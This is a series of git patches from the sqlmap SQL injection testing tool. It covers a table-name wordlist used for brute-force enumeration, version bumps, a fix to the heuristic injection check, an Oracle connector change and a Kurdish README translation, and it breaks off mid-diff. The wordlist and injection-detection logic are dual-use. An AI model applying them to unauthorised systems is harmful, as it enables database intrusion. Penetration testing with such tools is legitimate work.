+tbl_Logs +tbl_logs +tbl_fiyat +tbl_SSS +tbl_Puan +tbl_kargo +tbl_Statsvisit +tbl_Koleksiyon +tbl_dil +tbl_Sepetold +tbl_Fatura +tbl_yonetici +tbl_Yazilar +tbl_Temsilci +tbl_Kargo +tbl_cesit +tbl_uye +tbl_haber +tbl_SiparisID +tbl_Adres +tbl_Ozelgun +tbl_banka +tbl_Videogaleri +tbl_galeri +tbl_videogaleri +xml_urunresimleri +tbl_urun +tbl_Ticket +tbl_yazilar +tbl_Ulke +tbl_Urun +tbl_renk +tbl_Harita +tbl_Sepet +tbl_Sehir +tbl_Uye_Img +tbl_Semt +tbl_indirim +xml_kampanyakategori_transfer +tbl_Takvim +tbl_blog +tbl_Sliders +tbl_Renk +tbl_UyeXML +tbl_tedarikci +tbl_Fotogaleri +tbl_Doviz +tbl_Anket +tbl_Banka +tbl_Metin +tbl_XML +tbl_firma +tbl_harita +tbl_banner +tbl_sepet +tbl_fotogaleri +tbl_marka +tbl_Siparis +tbl_personel +tbl_puan +tbl_Bulten +tbl_favori +tbl_onlineusers + + # List provided by Pedrito Perez (0ark1ang3l@gmail.com) From bf5cddccb9b908dfbc40c6364c5c68ffcb4b8f3e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 23 Aug 2024 14:59:00 +0200 Subject: [PATCH 100/853] Trivial update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d7109c64c1a..0347c6bede6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -25,7 +25,7 @@ f2648a0cb4d5922d58b8aa6600f786b32324b9ac91e3a57e4ff212e901ffe151 data/shell/sta 31676dcadde4c2eef314ef90e0661a57d2d43cb52a39ef991af43fcb6fa9af22 data/txt/common-columns.txt bb88fcfc8eae17865c4c25c9031d4488ef38cc43ab241c7361ae2a5df24fd0bb data/txt/common-files.txt e456db93a536bc3e7c1fbb6f15fbac36d6d40810c8a754b10401e0dab1ce5839 data/txt/common-outputs.txt -504a35909572da9593fa57087caee8953cf913dfdc269959c0369a9480fd107c data/txt/common-tables.txt +1c5095ba246934be2a7990bf11c06703f48ebba53f0dba18107fcf44e11a5cea data/txt/common-tables.txt 4ee746dcab2e3b258aa8ff2b51b40bef2e8f7fc12c430b98d36c60880a809f03 data/txt/keywords.txt c5ce8ea43c32bc72255fa44d752775f8a2b2cf78541cbeaa3749d47301eb7fc6 data/txt/smalldict.txt 895f9636ea73152d9545be1b7acaf16e0bc8695c9b46e779ab30b226d21a1221 data/txt/user-agents.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -5b992bce2d09db97df8261e99c03022c5ebd57d9bf33e0fbf602c00420ce8239 lib/core/settings.py +79513100eab55d8698cec68df0c72a49c67cc062c258bb369f8c5f0540ea10f5 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c540e8f4061..97a5321e32a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.8.1" +VERSION = "1.8.8.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -908,7 +908,7 @@ KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" # For filling in case of dumb push updates -DUMMY_JUNK = "Rie3Shie" +DUMMY_JUNK = "iuj5eiVa" # Printable bytes PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) From 8dcf4baeaa95bad6ecfb1b5e2bcf34f6b115ad66 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 25 Aug 2024 23:22:44 +0200 Subject: [PATCH 101/853] Fixes #5772 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/fingerprint.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0347c6bede6..e7c258ca2b4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -79513100eab55d8698cec68df0c72a49c67cc062c258bb369f8c5f0540ea10f5 lib/core/settings.py +628778cf90fe41976f3507038386f3cad3b941e6c9425d7f6a06c4d8e599313d lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -285,7 +285,7 @@ c90d520338946dfae7b934bb3aab9bf8db720d4092cadd5ae825979d2665264e plugins/dbms/a e0d2522dc664a7da0c9a32a34e052b473a0f3ebb46c86e9cea92a5f7e9ab33b0 plugins/dbms/clickhouse/connector.py 4b6418c435fa69423857a525d38705666a27ecf6edd66527e51af46561ead621 plugins/dbms/clickhouse/enumeration.py d70dc313dac1047c9bb8e1d1264f17fa6e03f0d0dfeb8692c4dcec2c394a64bc plugins/dbms/clickhouse/filesystem.py -9cc7352863a1215127e21a54fc67cc930ecd6983eb3d617d36dbebaf8c576e11 plugins/dbms/clickhouse/fingerprint.py +7d6278c7fe14fd15c7ed8d2aee5e66f1ab76bea9f4b0c75f2ae9137ddbda236b plugins/dbms/clickhouse/fingerprint.py 9af365a8a570a22b43ca050ce280da49d0a413e261cc7f190a49336857ac026e plugins/dbms/clickhouse/__init__.py 695a7c428c478082072d05617b7f11d24c79b90ca3c117819258ef0dbdf290a5 plugins/dbms/clickhouse/syntax.py ec61ff0bb44e85dc9c9df8c9b466769c5a5791c9f1ffb944fdc3b1b7ef02d0d5 plugins/dbms/clickhouse/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 97a5321e32a..e843d45eb3f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.8.2" +VERSION = "1.8.8.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py index 402142b4bd7..65ceb29881c 100755 --- a/plugins/dbms/clickhouse/fingerprint.py +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -77,7 +77,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -86,6 +86,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE - logger.warn(warnMsg) + logger.warning(warnMsg) return False From 989840c0947c8a9f53303c57a99b4dd556c862f0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 26 Aug 2024 00:09:58 +0200 Subject: [PATCH 102/853] Fixes #5763 --- data/txt/sha256sums.txt | 6 +++--- lib/controller/checks.py | 5 +++-- lib/core/option.py | 1 + lib/core/settings.py | 2 +- 4 files changed, 8 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e7c258ca2b4..6fecf23c927 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -159,7 +159,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/vulnserver/__init__.py 2ffe028b8b21306b6f528e62b214f43172fcf5bb59d317a13ba78e70155677ce extra/vulnserver/vulnserver.py f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller/action.py -5d62d04edd432834df809707450a42778768ccc3c909eef6c6738ee780ffa884 lib/controller/checks.py +062c02a876644fc9bb4be37b545a325c600ee0b62f898f9723676043303659d4 lib/controller/checks.py 34120f3ea85f4d69211642a263f963f08c97c20d47fd2ca082c23a5336d393f8 lib/controller/controller.py 46d70b69cc7af0849242da5094a644568d7662a256a63e88ae485985b6dccf12 lib/controller/handler.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py @@ -180,14 +180,14 @@ e8f6f1df8814b7b03c3eba22901837555083f66c99ee93b943911de785736bfa lib/core/dicts 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/core/__init__.py fce3fd4b161ec1c6e9d5bf1dca5bc4083e07d616ed2c14b798e96b60ec67c2b2 lib/core/log.py 4caebf27d203673b8ad32394937397319f606c4e1f1e1a2a221402d39c644b40 lib/core/optiondict.py -b3d2be01406c3bae1cf46e1b8c0f773264b61a037e6a92e5c0ba190a82afc869 lib/core/option.py +1171119f6289ab981e5912e73801fe1862c7c012bc1da577df5c6497f348a85e lib/core/option.py d2d81ee7520b55571923461a2bdfaa68dda74a89846761338408ab0acf08d3a5 lib/core/patch.py bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profiling.py 4ccce0d53f467166d4084c9ef53a07f54cc352e75f785454a31c8a820511a84e lib/core/readlineng.py 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -628778cf90fe41976f3507038386f3cad3b941e6c9425d7f6a06c4d8e599313d lib/core/settings.py +4e70d55c341b29a8e502ea76e03cd28d7ceca4de1e781095784da364bffd29b2 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 186a0fd2767..f25fb8a817a 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -581,7 +581,7 @@ def genCmpPayload(): if injectable: if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): - if all((falseCode, trueCode)) and falseCode != trueCode: + if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode: suggestion = conf.code = trueCode infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code) @@ -1050,9 +1050,10 @@ def heuristicCheckSqlInjection(place, parameter): payload = "%s%s%s" % (prefix, randStr, suffix) payload = agent.payload(place, parameter, newValue=payload) - page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) + page, _, code = Request.queryPage(payload, place, content=True, raise404=False) kb.heuristicPage = page + kb.heuristicCode = code kb.heuristicMode = False parseFilePaths(page) diff --git a/lib/core/option.py b/lib/core/option.py index ec672622dae..537d93f8a6d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2090,6 +2090,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.headersFp = {} kb.heuristicDbms = None kb.heuristicExtendedDbms = None + kb.heuristicCode = None kb.heuristicMode = False kb.heuristicPage = False kb.heuristicTest = None diff --git a/lib/core/settings.py b/lib/core/settings.py index e843d45eb3f..059a05d64e4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.8.3" +VERSION = "1.8.8.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From bd23ccb50787ae3739850db00e3841d9b550d056 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 26 Aug 2024 00:46:26 +0200 Subject: [PATCH 103/853] Patch related to the #5767 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/dbms/oracle/connector.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6fecf23c927..2eaceba283b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -4e70d55c341b29a8e502ea76e03cd28d7ceca4de1e781095784da364bffd29b2 lib/core/settings.py +99352762a159d5dcbe5bad10b756783f1d26bf1dc4c9025171343cd020e95575 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -402,7 +402,7 @@ fdc3effe9320197795137dedb58e46c0409f19649889177443a2cbf58787c0dd plugins/dbms/m ae824d447c1a59d055367aa9180acb42f7bb10df0006d4f99eeb12e43af563ae plugins/dbms/mysql/__init__.py 60fc1c647e31df191af2edfd26f99bf739fec53d3a8e1beb3bffdcf335c781fe plugins/dbms/mysql/syntax.py 784c31c2c0e19feb88bf5d21bfc7ae4bf04291922e40830da677577c5d5b4598 plugins/dbms/mysql/takeover.py -6ae43c1d1a03f2e7a5c59890662f7609ebfd9ab7c26efb6ece85ae595335790e plugins/dbms/oracle/connector.py +477d23978640da2c6529a7b2d2cb4b19a09dedc83960d222ad12a0f2434fb289 plugins/dbms/oracle/connector.py ff648ca28dfbc9cbbd3f3c4ceb92ccaacfd0206e580629b7d22115c50ed7eb06 plugins/dbms/oracle/enumeration.py 3a53b87decff154355b7c43742c0979323ae9ba3b34a6225a326ec787e85ce6d plugins/dbms/oracle/filesystem.py f8c0c05b518dbcdb6b9a618e3fa33daefdb84bea6cb70521b7b58c7de9e6bf3a plugins/dbms/oracle/fingerprint.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 059a05d64e4..5e7f95542bc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.8.4" +VERSION = "1.8.8.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 136f80ba81e..a4525510533 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -33,8 +33,8 @@ class Connector(GenericConnector): def connect(self): self.initConnection() - self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) - self.__dsn = getText(self.__dsn) + # Reference: https://cx-oracle.readthedocs.io/en/latest/user_guide/connection_handling.html + self.__dsn = "%s:%d/%s" % (self.hostname, self.port, self.db) self.user = getText(self.user) self.password = getText(self.password) From 3d0390b7c68583a6d8883cbe56cbe3f5ccafc3cb Mon Sep 17 00:00:00 2001 From: Sore <88344148+SoranTabesh@users.noreply.github.com> Date: Mon, 26 Aug 2024 02:20:35 +0330 Subject: [PATCH 104/853] Create README-ckb-KU.md (#5760) added kurdish(ckb) translation --- doc/translations/README-ckb-KU.md | 93 +++++++++++++++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 doc/translations/README-ckb-KU.md diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md new file mode 100644 index 00000000000..0456467fc06 --- /dev/null +++ b/doc/translations/README-ckb-KU.md @@ -0,0 +1,93 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + + +
+ + + +بەرنامەی `sqlmap` بەرنامەیەکی تاقیکردنەوەی چوونە ژوورەوەی سەرچاوە کراوەیە کە بە شێوەیەکی ئۆتۆماتیکی بنکەدراوە کە کێشەی ئاسایشی SQL Injection یان هەیە دەدۆزێتەوە. ئەم بەرنامەیە بزوێنەرێکی بەهێزی دیاریکردنی تێدایە. هەروەها کۆمەڵێک سکریپتی بەرفراوانی هەیە کە ئاسانکاری دەکات بۆ پیشەییەکانی تاقیکردنەوەی دزەکردن(penetration tester) بۆ کارکردن لەگەڵ بنکەدراوە. لە کۆکردنەوەی زانیاری دەربارەی بانکی داتا تا دەستگەیشتن بە داتاکانی سیستەم و جێبەجێکردنی فەرمانەکان لە ڕێگەی پەیوەندی Out Of Band لە سیستەمی کارگێڕدا. + + +سکرین شاتی ئامرازەکە +---- + + +
+ + + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +
+ +بۆ بینینی [کۆمەڵێک سکرین شات و سکریپت](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) دەتوانیت سەردانی ویکیەکە بکەیت. + + +دامەزراندن +---- + +بۆ دابەزاندنی نوێترین وەشانی tarball، کلیک [لێرە](https://github.com/sqlmapproject/sqlmap/tarball/master) یان دابەزاندنی نوێترین وەشانی zipball بە کلیککردن لەسەر [لێرە](https://github.com/sqlmapproject/sqlmap/zipball/master) دەتوانیت ئەم کارە بکەیت. + +باشترە بتوانیت sqlmap دابەزێنیت بە کلۆنکردنی کۆگای [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https://www.python.org/download/) وەشانی **2.6**، **2.7** و **3.x** لەسەر هەر پلاتفۆرمێک. + +چۆنیەتی بەکارهێنان +---- + +بۆ بەدەستهێنانی لیستی بژاردە سەرەتاییەکان و سویچەکان ئەمانە بەکاربهێنە: + + python sqlmap.py -h + +بۆ بەدەستهێنانی لیستی هەموو بژاردە و سویچەکان ئەمە بەکار بێنا: + + python sqlmap.py -hh + +دەتوانن نمونەی ڕانکردنێک بدۆزنەوە [لێرە](https://asciinema.org/a/46601). +بۆ بەدەستهێنانی تێڕوانینێکی گشتی لە تواناکانی sqlmap، لیستی تایبەتمەندییە پشتگیریکراوەکان، و وەسفکردنی هەموو هەڵبژاردن و سویچەکان، لەگەڵ نموونەکان، ئامۆژگاریت دەکرێت کە ڕاوێژ بە [دەستنووسی بەکارهێنەر](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +بەستەرەکان +---- + +* ماڵپەڕی سەرەکی: https://sqlmap.org +* داگرتن: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یان [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* فیدی RSS جێبەجێ دەکات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues +* ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki +* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://twitter.com/sqlmap) +* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە + +وەرگێڕانەکان +---- + +* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) +* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) +* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) +* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) +* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) +* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) +* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md) +* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) +* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md) +* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) +* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) +* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) +* [Kurdish-ckb](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md) +* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) +* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) +* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) +* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md) +* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md) +* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md) +* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) +* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) +* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) +* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) From 51cdc9816837ee25a6c6d6342e4ad9540137d76b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 26 Aug 2024 00:52:18 +0200 Subject: [PATCH 105/853] Minor patch related to the #5760 --- README.md | 1 + data/txt/sha256sums.txt | 5 +++-- doc/translations/README-ckb-KU.md | 26 -------------------------- lib/core/settings.py | 2 +- 4 files changed, 5 insertions(+), 29 deletions(-) diff --git a/README.md b/README.md index ff314f51534..821ab02a5a6 100644 --- a/README.md +++ b/README.md @@ -65,6 +65,7 @@ Translations * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) +* [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md) * [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2eaceba283b..158f58eed8e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -89,6 +89,7 @@ abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS 2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16 doc/THIRD-PARTY.md 792bcf9bf7ac0696353adaf111ee643f79f1948d9b5761de9c25eb0a81a998c9 doc/translations/README-bg-BG.md +7f48875fb5a369b8a8aaefc519722462229ce4e6c7d8f15f7777092d337e92dd doc/translations/README-ckb-KU.md 4689fee6106207807ac31f025433b4f228470402ab67dd1e202033cf0119fc8a doc/translations/README-de-DE.md 2b3d015709db7e42201bc89833380a2878d7ab604485ec7e26fc4de2ad5f42f0 doc/translations/README-es-MX.md f7b6cc0d0fdd0aa5550957db9b125a48f3fb4219bba282f49febc32a7e149e74 doc/translations/README-fa-IR.md @@ -187,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -99352762a159d5dcbe5bad10b756783f1d26bf1dc4c9025171343cd020e95575 lib/core/settings.py +4cecba7ea99c1cf0a3ff3077b857feeca680d778501a16cbacb92a98d00d467a lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -472,7 +473,7 @@ a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generi fff84edc86b7d22dc01148fb10bb43d51cb9638dff21436fb94555db2a664766 plugins/generic/takeover.py 0bc5c150e8cf4f892aba1ff15fc8938c387fb2a173b77329a0dc4cdb8b4bb4e2 plugins/generic/users.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 plugins/__init__.py -d5b3243c2b048aa8074d2d828f74fbf8237286c3d00fd868f1b4090c267b78ef README.md +5a473c60853f54f1a4b14d79b8237f659278fe8a6b42e935ed573bf22b6d5b2c README.md 78aafd53980096364f0c995c6283931bff505aed88fed1e7906fb06ee60e9c5b sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 5e172e315524845fe091aa0b7b29303c92ac8f67594c6d50f026d627e415b7ed sqlmap.conf diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md index 0456467fc06..f84d93f8616 100644 --- a/doc/translations/README-ckb-KU.md +++ b/doc/translations/README-ckb-KU.md @@ -65,29 +65,3 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https * وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە وەرگێڕانەکان ----- - -* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) -* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) -* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) -* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) -* 